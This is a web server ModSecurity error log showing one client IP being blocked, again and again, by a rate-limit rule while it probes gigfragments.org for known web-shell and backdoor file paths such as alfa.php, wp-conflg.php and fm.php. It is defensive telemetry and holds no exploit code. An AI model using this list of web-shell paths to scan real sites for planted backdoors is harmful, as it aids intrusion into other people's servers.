[Tue Nov 25 20:46:42.388252 2025] [:error] [pid 14076:tid 14096] [client 134.149.17.123:45853] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSWlMnsB4Gz6Qw-pvBsrdQAAAA8"]
[Tue Nov 25 20:46:43.062725 2025] [:error] [pid 28836:tid 29009] [client 134.149.17.123:46057] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWlM5wNRsoxcLQGkTfXnAAAAtM"]
[Tue Nov 25 20:46:43.587321 2025] [:error] [pid 14078:tid 14138] [client 134.149.17.123:45950] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWlM9VXYbb0ii_rVoJeRAAAAIE"]
[Tue Nov 25 20:46:44.219797 2025] [:error] [pid 28836:tid 29012] [client 134.149.17.123:45825] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWlNJwNRsoxcLQGkTfXnwAAAtY"]
[Tue Nov 25 20:46:44.800768 2025] [:error] [pid 28739:tid 28772] [client 134.149.17.123:45928] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWlNBxGpKmlkG4FexSP8QAAAgo"]
[Tue Nov 25 20:46:45.330970 2025] [:error] [pid 14076:tid 14088] [client 134.149.17.123:46066] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWlNXsB4Gz6Qw-pvBsrfAAAAAc"]
[Tue Nov 25 20:46:45.898477 2025] [:error] [pid 28609:tid 28628] [client 134.149.17.123:45903] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWlNSGGdT-nZJVs3x3YrAAAAYo"]
[Tue Nov 25 20:46:46.529759 2025] [:error] [pid 14077:tid 14114] [client 134.149.17.123:46043] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWlNhG9n7UHEkwDTyi4JAAAAEQ"]
[Tue Nov 25 20:46:47.166816 2025] [:error] [pid 14076:tid 14087] [client 134.149.17.123:46000] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWlN3sB4Gz6Qw-pvBsrgQAAAAY"]
[Tue Nov 25 20:46:47.791138 2025] [:error] [pid 14076:tid 14084] [client 134.149.17.123:46032] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlN3sB4Gz6Qw-pvBsrhAAAAAM"]
[Tue Nov 25 20:46:48.678811 2025] [:error] [pid 14076:tid 14094] [client 134.149.17.123:45983] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlOHsB4Gz6Qw-pvBsrjwAAAA0"]
[Tue Nov 25 20:46:49.399398 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:46073] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlORxGpKmlkG4FexSP-gAAAhU"]
[Tue Nov 25 20:46:50.185574 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:45918] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWlOpwNRsoxcLQGkTfXpwAAAtA"]
[Tue Nov 25 20:46:50.921756 2025] [:error] [pid 14078:tid 14137] [client 134.149.17.123:45986] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWlOtVXYbb0ii_rVoJeRwAAAIA"]
[Tue Nov 25 20:46:51.558714 2025] [:error] [pid 43981:tid 44002] [client 134.149.17.123:45999] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWlOwgZn97m_qh_RaFWEwAAAxM"]
[Tue Nov 25 20:46:52.827664 2025] [:error] [pid 43981:tid 44006] [client 134.149.17.123:46004] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWlPAgZn97m_qh_RaFWFQAAAxc"]
[Tue Nov 25 20:46:53.975358 2025] [:error] [pid 43981:tid 43992] [client 134.149.17.123:45937] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWlPQgZn97m_qh_RaFWFwAAAwk"]
[Tue Nov 25 20:46:54.711587 2025] [:error] [pid 14078:tid 14153] [client 134.149.17.123:46078] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWlPtVXYbb0ii_rVoJeYwAAAJA"]
[Tue Nov 25 20:46:55.384321 2025] [:error] [pid 14078:tid 14140] [client 134.149.17.123:45888] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWlP9VXYbb0ii_rVoJeZwAAAIM"]
[Tue Nov 25 20:46:56.109433 2025] [:error] [pid 28739:tid 28765] [client 134.149.17.123:45910] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWlQBxGpKmlkG4FexSQDgAAAgM"]
[Tue Nov 25 20:46:57.041858 2025] [:error] [pid 28836:tid 28964] [client 134.149.17.123:45916] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWlQZwNRsoxcLQGkTfXsAAAAsk"]
[Tue Nov 25 20:46:57.751385 2025] [:error] [pid 14078:tid 14144] [client 134.149.17.123:45849] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWlQdVXYbb0ii_rVoJeawAAAIc"]
[Tue Nov 25 20:46:58.580442 2025] [:error] [pid 43843:tid 43864] [client 134.149.17.123:46068] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWlQhhx4v3NUNdMKDPmCAAAAdM"]
[Tue Nov 25 20:46:59.671735 2025] [:error] [pid 14078:tid 14151] [client 134.149.17.123:45832] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWlQ9VXYbb0ii_rVoJebwAAAI4"]
[Tue Nov 25 20:47:00.307202 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:45940] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWlRBG9n7UHEkwDTyi4OgAAAFQ"]
[Tue Nov 25 20:47:01.011187 2025] [:error] [pid 14076:tid 14097] [client 134.149.17.123:45829] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWlRXsB4Gz6Qw-pvBsr2AAAABA"]
[Tue Nov 25 20:47:01.755715 2025] [:error] [pid 2987:tid 2996] [client 134.149.17.123:45862] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWlRc-djEt-pTzPxny5lQAAAUc"]
[Tue Nov 25 20:47:02.280942 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:45941] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWlRhG9n7UHEkwDTyi4PwAAAFA"]
[Tue Nov 25 20:47:03.024961 2025] [:error] [pid 28836:tid 28964] [client 134.149.17.123:45942] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aSWlR5wNRsoxcLQGkTfXvAAAAsk"]
[Tue Nov 25 20:47:03.799048 2025] [:error] [pid 28836:tid 29010] [client 134.149.17.123:45953] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWlR5wNRsoxcLQGkTfXvwAAAtQ"]
[Tue Nov 25 20:47:04.681421 2025] [:error] [pid 14078:tid 14143] [client 134.149.17.123:46075] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWlSNVXYbb0ii_rVoJefgAAAIY"]
[Tue Nov 25 20:47:05.429995 2025] [:error] [pid 28836:tid 29013] [client 134.149.17.123:45893] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWlSZwNRsoxcLQGkTfXxAAAAtc"]
[Tue Nov 25 20:47:06.191496 2025] [:error] [pid 14076:tid 14103] [client 134.149.17.123:46034] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWlSnsB4Gz6Qw-pvBsr4AAAABY"]
[Tue Nov 25 20:47:07.047805 2025] [:error] [pid 28609:tid 28633] [client 134.149.17.123:46020] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWlSyGGdT-nZJVs3x3Y5AAAAY8"]
[Tue Nov 25 20:47:07.662824 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:45945] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWlSxG9n7UHEkwDTyi4RwAAAFQ"]
[Tue Nov 25 20:47:08.297882 2025] [:error] [pid 28739:tid 28784] [client 134.149.17.123:45899] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWlTBxGpKmlkG4FexSQIgAAAhY"]
[Tue Nov 25 20:47:09.088227 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:45887] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSWlTRG9n7UHEkwDTyi4SAAAAFA"]
[Tue Nov 25 20:47:09.702975 2025] [:error] [pid 14076:tid 14090] [client 134.149.17.123:45892] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWlTXsB4Gz6Qw-pvBsr6AAAAAk"]
[Tue Nov 25 20:47:10.470436 2025] [:error] [pid 14078:tid 14144] [client 134.149.17.123:46003] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWlTtVXYbb0ii_rVoJemAAAAIc"]
[Tue Nov 25 20:47:11.213631 2025] [:error] [pid 14168:tid 14184] [client 134.149.17.123:45857] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWlT_R-ZDU0QEgAIIt8SAAAAM0"]
[Tue Nov 25 20:47:11.956218 2025] [:error] [pid 28836:tid 29010] [client 134.149.17.123:45891] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWlT5wNRsoxcLQGkTfXzgAAAtQ"]
[Tue Nov 25 20:47:12.567345 2025] [:error] [pid 14076:tid 14099] [client 134.149.17.123:46029] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWlUHsB4Gz6Qw-pvBsr7wAAABI"]
[Tue Nov 25 20:47:13.410030 2025] [:error] [pid 14077:tid 14117] [client 134.149.17.123:46008] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWlURG9n7UHEkwDTyi4TgAAAEc"]
[Tue Nov 25 20:47:14.246992 2025] [:error] [pid 14168:tid 14190] [client 134.149.17.123:45994] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWlUvR-ZDU0QEgAIIt8SQAAANM"]
[Tue Nov 25 20:47:15.188509 2025] [:error] [pid 43843:tid 43860] [client 134.149.17.123:46011] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWlUxhx4v3NUNdMKDPmIQAAAc8"]
[Tue Nov 25 20:47:15.843081 2025] [:error] [pid 14168:tid 14174] [client 134.149.17.123:45834] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWlU_R-ZDU0QEgAIIt8TAAAAMM"]
[Tue Nov 25 20:47:16.728740 2025] [:error] [pid 43843:tid 43857] [client 134.149.17.123:45920] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWlVBhx4v3NUNdMKDPmIgAAAcw"]
[Tue Nov 25 20:47:17.367407 2025] [:error] [pid 14078:tid 14144] [client 134.149.17.123:45836] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWlVdVXYbb0ii_rVoJeogAAAIc"]
[Tue Nov 25 20:47:18.042615 2025] [:error] [pid 28836:tid 28966] [client 134.149.17.123:45914] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aSWlVpwNRsoxcLQGkTfX2AAAAss"]
[Tue Nov 25 20:47:18.751495 2025] [:error] [pid 14078:tid 14139] [client 134.149.17.123:45839] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWlVtVXYbb0ii_rVoJepgAAAII"]
[Tue Nov 25 20:47:19.609294 2025] [:error] [pid 43981:tid 44004] [client 134.149.17.123:45990] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWlVwgZn97m_qh_RaFWKwAAAxU"]
[Tue Nov 25 20:47:20.395418 2025] [:error] [pid 14078:tid 14149] [client 134.149.17.123:45932] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWlWNVXYbb0ii_rVoJeqwAAAIw"]
[Tue Nov 25 20:47:21.239989 2025] [:error] [pid 28739:tid 28768] [client 134.149.17.123:45997] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWlWRxGpKmlkG4FexSQLQAAAgY"]
[Tue Nov 25 20:47:21.991226 2025] [:error] [pid 2987:tid 2990] [client 134.149.17.123:45967] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aSWlWc-djEt-pTzPxny5qwAAAUE"]
[Tue Nov 25 20:47:22.946629 2025] [:error] [pid 43981:tid 44003] [client 134.149.17.123:45935] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aSWlWggZn97m_qh_RaFWMAAAAxQ"]
[Tue Nov 25 20:47:23.636614 2025] [:error] [pid 14078:tid 14137] [client 134.149.17.123:45890] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aSWlW9VXYbb0ii_rVoJeuQAAAIA"]
